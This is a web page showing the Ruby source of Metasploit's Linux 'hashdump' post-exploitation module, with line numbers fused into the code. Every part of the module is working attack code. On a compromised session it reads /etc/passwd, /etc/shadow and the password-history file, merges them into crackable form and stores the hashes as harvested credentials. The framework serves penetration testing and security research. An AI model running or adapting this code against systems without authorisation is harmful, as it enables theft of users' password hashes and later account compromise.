Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/hashdump.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',14'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},15'License' => MSF_LICENSE,16'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],17'Platform' => ['linux'],18'SessionTypes' => ['shell', 'meterpreter']19)20)21end2223# Run Method for when run command is issued24def run25unless readable?('/etc/shadow')26fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'27end2829passwd_file = read_file('/etc/passwd')30unless passwd_file.nil?31p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')32vprint_good("passwd saved in: #{p}")33end3435shadow_file = read_file('/etc/shadow')36unless shadow_file.nil?37p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')38vprint_good("Shadow saved in: #{p}")39end4041opasswd_file = read_file('/etc/security/opasswd')42unless opasswd_file.nil?43p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')44vprint_good("opasswd saved in: #{p}")45end4647# Unshadow the files48john_file = unshadow(passwd_file.to_s, shadow_file.to_s)49return if john_file == ''5051john_file.each_line do |l|52hash_parts = l.split(':')53jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]5455if jtr_format.empty? # overide the default56jtr_format = 'des,bsdi,crypt'57end5859credential_data = {60jtr_format: jtr_format,61origin_type: :session,62post_reference_name: refname,63private_type: :nonreplayable_hash,64private_data: hash_parts[1],65session_id: session_db_id,66username: hash_parts[0],67workspace_id: myworkspace_id68}69create_credential(credential_data)70print_good(l.chomp)71end7273# Save passwd file74upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')75print_good("Unshadowed Password File: #{upasswd}")76end7778def unshadow(pf, sf)79unshadowed = ''80sf.each_line do |sl|81pass = sl.scan(/^\w*:([^:]*)/).join8283next if pass == '*'84next if pass == '!'8586user = sl.scan(/(^\w*):/).join87pf.each_line do |pl|88next unless pl.match(/^#{user}:/)8990unshadowed << pl.gsub(/:x:/, ":#{pass}:")91end92end9394unshadowed95end96end979899